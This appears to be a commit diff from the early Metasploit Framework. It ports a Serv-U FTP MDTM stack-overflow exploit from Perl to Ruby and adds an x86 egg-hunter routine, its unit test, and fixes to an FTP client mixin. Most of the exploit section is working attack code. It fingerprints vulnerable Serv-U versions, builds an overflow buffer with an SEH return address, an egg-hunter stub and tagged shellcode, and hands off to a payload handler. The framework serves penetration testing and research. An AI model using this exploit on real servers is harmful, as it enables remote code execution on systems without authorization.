Serv-U exploit working, depends on searcher() in x86, many fixes to FTP mixin
git-svn-id: file:///home/svn/incoming/trunk@3103 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
0f99dcc82c
commit
fb47661a8f
|
@ -23,8 +23,8 @@ module Exploit::Remote::Ftp
|
|||
[
|
||||
Opt::RHOST,
|
||||
Opt::RPORT(21),
|
||||
OptString.new('USER', [ false, 'The username to authenticate as' ]),
|
||||
OptString.new('PASS', [ false, 'The password for the specified username' ])
|
||||
OptString.new('USER', [ false, 'The username to authenticate as', 'anonymous']),
|
||||
OptString.new('PASS', [ false, 'The password for the specified username', 'metasploit@example.org'])
|
||||
], Msf::Exploit::Remote::Ftp)
|
||||
end
|
||||
|
||||
|
@ -58,13 +58,12 @@ module Exploit::Remote::Ftp
|
|||
if (user)
|
||||
print_status("Sending username #{user}...")
|
||||
|
||||
send_user(user, ftpsock)
|
||||
res = fd.get_once
|
||||
res = send_user(user, ftpsock)
|
||||
|
||||
# If the user supplied a password, send that
|
||||
if (pass)
|
||||
print_status("Sending password...")
|
||||
send_pass(pass, ftpsock)
|
||||
res = send_pass(pass, ftpsock)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
@ -89,7 +88,7 @@ module Exploit::Remote::Ftp
|
|||
# This method sends one command with zero or more parameters
|
||||
#
|
||||
def send_cmd(args, recv = true, nsock = self.sock)
|
||||
cmd = args.join(" ")
|
||||
cmd = args.join(" ") + "\r\n"
|
||||
if (recv)
|
||||
return raw_send_recv(cmd, nsock)
|
||||
else
|
||||
|
|
|
@ -24,6 +24,31 @@ module X86
|
|||
REG_NAMES32 = [ 'eax', 'ecx', 'edx', 'ebx',
|
||||
'esp', 'ebp', 'esi', 'edi' ] # :nodoc:
|
||||
|
||||
#
|
||||
# This method adds/subs a packed long integer
|
||||
#
|
||||
def self.dword_adjust(dword, amount=0)
|
||||
[dword.unpack('V')[0] + amount].pack('V')
|
||||
end
|
||||
|
||||
#
|
||||
# This method returns the opcodes that compose a tag-based search routine
|
||||
#
|
||||
def self.searcher(tag)
|
||||
"\xbe" + dword_adjust(tag,-1)+ # mov esi, Tag - 1
|
||||
"\x46" + # inc esi
|
||||
"\x47" + # inc edi (end_search:)
|
||||
"\x39\x37" + # cmp [edi],esi
|
||||
"\x75\xfb" + # jnz 0xa (end_search)
|
||||
"\x46" + # inc esi
|
||||
"\x4f" + # dec edi (start_search:)
|
||||
"\x39\x77\xfc" + # cmp [edi-0x4],esi
|
||||
"\x75\xfa" + # jnz 0x10 (start_search)
|
||||
"\xff\xe7" # jmp edi
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# This method returns the opcodes that compose a short jump instruction to
|
||||
# the supplied relative offset.
|
||||
|
|
|
@ -52,4 +52,20 @@ class Rex::Arch::X86::UnitTest < ::Test::Unit::TestCase
|
|||
assert_equal("\x81\xc4\x11\x11\x01\x00", Klass.add(0x11111, Klass::ESP, '', true))
|
||||
end
|
||||
|
||||
def test_searcher
|
||||
s = "\xbe"+ # mov esi, Tag - 1
|
||||
"\x00\x02\x03\x04"+
|
||||
"\x46"+ # inc esi
|
||||
"\x47"+ # inc edi (end_search:)
|
||||
"\x39\x37"+ # cmp [edi],esi
|
||||
"\x75\xfb"+ # jnz 0xa (end_search)
|
||||
"\x46"+ # inc esi
|
||||
"\x4f"+ # dec edi (start_search:)
|
||||
"\x39\x77\xfc"+ # cmp [edi-0x4],esi
|
||||
"\x75\xfa"+ # jnz 0x10 (start_search)
|
||||
"\xff\xe7" # jmp edi
|
||||
|
||||
assert_equal(s, Klass.searcher("\x04\x03\x02\x01"))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -88,245 +88,99 @@ class Exploits::Windows::Ftp::ServUMDTMOverflow < Msf::Exploit::Remote
|
|||
#
|
||||
# Heh :)
|
||||
|
||||
def check
|
||||
connect
|
||||
disconnect
|
||||
|
||||
=begin
|
||||
case banner
|
||||
when /Serv-U FTP Server v4\.1/
|
||||
print_status('Found version 4.1.0.3, exploitable')
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
|
||||
##
|
||||
# This file is part of the Metasploit Framework and may be redistributed
|
||||
# according to the licenses defined in the Authors field below. In the
|
||||
# case of an unknown or missing license, this file defaults to the same
|
||||
# license as the core Framework (dual GPLv2 and Artistic). The latest
|
||||
# version of the Framework can always be obtained from metasploit.com.
|
||||
##
|
||||
when /Serv-U FTP Server v5\.0/
|
||||
print_status('Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
|
||||
return Exploit::CheckCode::Appears
|
||||
|
||||
package Msf::Exploit::servu_mdtm_overflow;
|
||||
when /Serv-U FTP Server v4\.0/
|
||||
print_status('Found version 4.0.0.4 or 4.1.0.0, additional check.');
|
||||
send_user(datastore['USER'])
|
||||
send_pass(datastore['PASS'])
|
||||
if (double_ff?())
|
||||
print_status('Found version 4.0.0.4, exploitable');
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status('Found version 4.1.0.0, exploitable');
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
use base "Msf::Exploit";
|
||||
use strict;
|
||||
use Pex::Searcher;
|
||||
use Pex::x86;
|
||||
use Pex::Text;
|
||||
when /Serv-U FTP Server/
|
||||
print_status('Found an unknown version, try it!');
|
||||
return Exploit::CheckCode::Detected
|
||||
|
||||
else
|
||||
print_status('We could not recognize the server banner')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
# From 5.0.0.4 Change Log
|
||||
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
|
||||
#
|
||||
# Nice way to play it down boys
|
||||
#
|
||||
# Connected to ftp2.rhinosoft.com.
|
||||
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
|
||||
#
|
||||
# Heh :)
|
||||
def exploit
|
||||
connect_login
|
||||
|
||||
sub new {
|
||||
my $class = shift;
|
||||
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
|
||||
return($self);
|
||||
}
|
||||
print_status("Trying target #{target.name}...")
|
||||
|
||||
sub Check {
|
||||
my $self = shift;
|
||||
my $targetHost = $self->GetVar('RHOST');
|
||||
my $targetPort = $self->GetVar('RPORT');
|
||||
# Should have paid more attention to skylined's exploit, only after figuring
|
||||
# out how my payloads were getting transformed did I remember seeing \xff
|
||||
# doubling in his CHMOD exploit, arg!
|
||||
shellcode = payload.encoded
|
||||
|
||||
my $s = Msf::Socket::Tcp->new
|
||||
(
|
||||
'PeerAddr' => $targetHost,
|
||||
'PeerPort' => $targetPort,
|
||||
'LocalPort' => $self->GetVar('CPORT'),
|
||||
'SSL' => $self->GetVar('SSL'),
|
||||
);
|
||||
case datastore['ForceDoubling']
|
||||
when 1
|
||||
print_status("Forced doubling of all \\xff sequences in the encoded payload")
|
||||
shellcode.gsub!(/\xff/, "\xff\xff")
|
||||
when 0
|
||||
print_status("Forced doubling has been disabled")
|
||||
when 2
|
||||
if (double_ff?())
|
||||
print_status("Forced doubling enabled after detection of version 4.0.0.4")
|
||||
shellcode.gsub!(/\xff/, "\xff\xff")
|
||||
end
|
||||
end
|
||||
|
||||
if ($s->IsError) {
|
||||
$self->PrintError;
|
||||
return $self->CheckCode('Connect');
|
||||
}
|
||||
# Searcher expects address to start scanning at in edi
|
||||
# Since we got here via a pop pop ret, we can just the address of the jmp
|
||||
# off the stack, add esp, BYTE -4 ; pop edi
|
||||
|
||||
my $r;
|
||||
search_rtag = "\x34\x33\x32\x31" # +1 / 0 / -1 [start, end, stored]
|
||||
search_stub = Rex::Arch::X86.searcher(search_rtag)
|
||||
search_code = "\x83\xc4\xfc\x5f" + search_stub + 'BB'
|
||||
if (datastore['SEHOffset'] < search_code.length)
|
||||
print_error("Not enough room for search code, adjust SEHOffset")
|
||||
return
|
||||
end
|
||||
|
||||
$r = $self->response($s);
|
||||
goto NORESP if(!$r);
|
||||
if($r =~ /Serv-U FTP Server v4\.1/) {
|
||||
$self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
|
||||
return $self->CheckCode('Appears');
|
||||
}
|
||||
elsif($r =~ /Serv-U FTP Server v5\.0/) {
|
||||
$self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
|
||||
return $self->CheckCode('Appears');
|
||||
}
|
||||
elsif($r =~ /Serv-U FTP Server v4\.0/) {
|
||||
$self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
|
||||
}
|
||||
elsif($r =~ /Serv-U FTP Server/) {
|
||||
$self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
|
||||
return $self->CheckCode('Appears');
|
||||
}
|
||||
else {
|
||||
$self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
|
||||
return $self->CheckCode('Safe');
|
||||
}
|
||||
jump_back = Rex::Arch::X86.jmp_short('$+' + (-1 * search_code.length).to_s) + 'BB'
|
||||
|
||||
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
|
||||
goto NORESP if(!$self->response($s));
|
||||
buf = 'MDTM 20031111111111+' + ('A' * (datastore['SEHOffset'] - search_code.length))
|
||||
buf << search_code
|
||||
buf << jump_back
|
||||
buf << [target.ret].pack('V')
|
||||
buf << ' /'
|
||||
buf << Rex::Arch::X86.dword_adjust(search_rtag, 1)
|
||||
buf << shellcode
|
||||
buf << search_rtag
|
||||
|
||||
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
|
||||
goto NORESP if(!$self->response($s));
|
||||
send_cmd( [buf], false )
|
||||
|
||||
$s->Send("P\@SW\r\n");
|
||||
$r = $self->response($s);
|
||||
goto NORESP if(!$r);
|
||||
|
||||
if($r =~ /500/) {
|
||||
$self->PrintLine('[*] Found version 4.0.0.4, exploitable');
|
||||
return $self->CheckCode('Appears');
|
||||
}
|
||||
else {
|
||||
$self->PrintLine('[*] Found version 4.1.0.0, exploitable');
|
||||
return $self->CheckCode('Appears');
|
||||
}
|
||||
|
||||
# quit is for losers, exiting uncleanly rocks.
|
||||
return $self->CheckCode('Safe');
|
||||
|
||||
# dirty
|
||||
NORESP:
|
||||
$self->PrintLine('[*] No response from FTP server');
|
||||
return $self->CheckCode('Generic');
|
||||
}
|
||||
|
||||
sub Exploit {
|
||||
my $self = shift;
|
||||
my $targetHost = $self->GetVar('RHOST');
|
||||
my $targetPort = $self->GetVar('RPORT');
|
||||
my $targetIndex = $self->GetVar('TARGET');
|
||||
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
|
||||
my $sehOffset = $self->GetLocal('SEHOffset');
|
||||
|
||||
my $s = Msf::Socket::Tcp->new
|
||||
(
|
||||
'PeerAddr' => $targetHost,
|
||||
'PeerPort' => $targetPort,
|
||||
'LocalPort' => $self->GetVar('CPORT'),
|
||||
'SSL' => $self->GetVar('SSL'),
|
||||
);
|
||||
|
||||
if ($s->IsError) {
|
||||
$self->PrintLine('Error creating socket: '.$s->GetError);
|
||||
return;
|
||||
}
|
||||
|
||||
my $r;
|
||||
|
||||
$r = $self->response($s);
|
||||
goto NORESP if(!$r);
|
||||
|
||||
# $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
|
||||
# $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
|
||||
|
||||
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
|
||||
goto NORESP if(!$self->response($s));
|
||||
|
||||
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
|
||||
goto NORESP if(!$self->response($s));
|
||||
|
||||
# Autodetect no more
|
||||
|
||||
# if(!$targetIndex) {
|
||||
# $s->Send("P\@SW\r\n");
|
||||
# $r = $self->response($s);
|
||||
# goto NORESP if(!$r);
|
||||
#
|
||||
# $targetIndex = $r =~ /500/ ? 1 : 1;
|
||||
# }
|
||||
|
||||
# Should have paid more attention to skylined's exploit, only after figuring
|
||||
# out how my payloads were getting transformed did I remember seeing \xff
|
||||
# doubling in his CHMOD exploit, arg!
|
||||
if($self->GetLocal('ForceDoubling') == 1) {
|
||||
$self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
|
||||
$shellcode = xffDoubler($shellcode);
|
||||
}
|
||||
elsif($self->GetLocal('ForceDoubling') == 0) {
|
||||
$self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
|
||||
}
|
||||
else {
|
||||
$s->Send("P\@SW\r\n");
|
||||
$r = $self->response($s);
|
||||
goto NORESP if(!$r);
|
||||
if($r =~ /^500/) {
|
||||
$self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
|
||||
$shellcode = xffDoubler($shellcode);
|
||||
}
|
||||
}
|
||||
|
||||
my $target = $self->Targets->[$targetIndex];
|
||||
$self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
|
||||
|
||||
my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
|
||||
|
||||
# Searcher expects address to start scanning at in edi
|
||||
# Since we got here via a pop pop ret, we can just the address of the jmp
|
||||
# off the stack, add esp, BYTE -4 ; pop edi
|
||||
my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
|
||||
|
||||
if($sehOffset < length($searchCode)) {
|
||||
$self->PrintLine('[*] Not enough room for search code.');
|
||||
return;
|
||||
}
|
||||
|
||||
my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
|
||||
|
||||
# $jmpBack = "\xcc\xcc\xcc\xcc";
|
||||
|
||||
my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
|
||||
$command .= $searchCode;
|
||||
$command .= $jmpBack . pack('V', $target->[1]);
|
||||
$command .= ' /' . $searcher->StartTag . $shellcode . $searcher->EndTag . "\r\n";
|
||||
|
||||
$s->Send($command);
|
||||
|
||||
$r = $self->response($s, 2);
|
||||
if($r) {
|
||||
$self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
|
||||
}
|
||||
|
||||
$self->Handler($s);
|
||||
return;
|
||||
|
||||
# dirty
|
||||
NORESP:
|
||||
$self->PrintLine('[*] No response from FTP server');
|
||||
return;
|
||||
}
|
||||
|
||||
sub response {
|
||||
my $self = shift;
|
||||
my $sock = shift;
|
||||
my $r;
|
||||
if(@_) {
|
||||
my $timeout = shift;
|
||||
$r = $sock->Recv(-1, $timeout);
|
||||
}
|
||||
else {
|
||||
$r = $sock->Recv(-1);
|
||||
}
|
||||
chomp($r);
|
||||
$r =~ s/\r//g;
|
||||
$self->PrintLine("[*] REMOTE> $r") if($r);
|
||||
return($r);
|
||||
}
|
||||
|
||||
# Serv-U is dumb. Doubling for 4.0.0.4
|
||||
sub xffDoubler {
|
||||
my $payload = shift;
|
||||
$payload =~ s/\xff/\xff\xff/g;
|
||||
return($payload);
|
||||
}
|
||||
|
||||
|
||||
=end
|
||||
disconnect
|
||||
handler
|
||||
end
|
||||
|
||||
def double_ff?
|
||||
res = send_cmd( ['P@SW'], true )
|
||||
return (res and res =~ /^500/) ? true : false
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue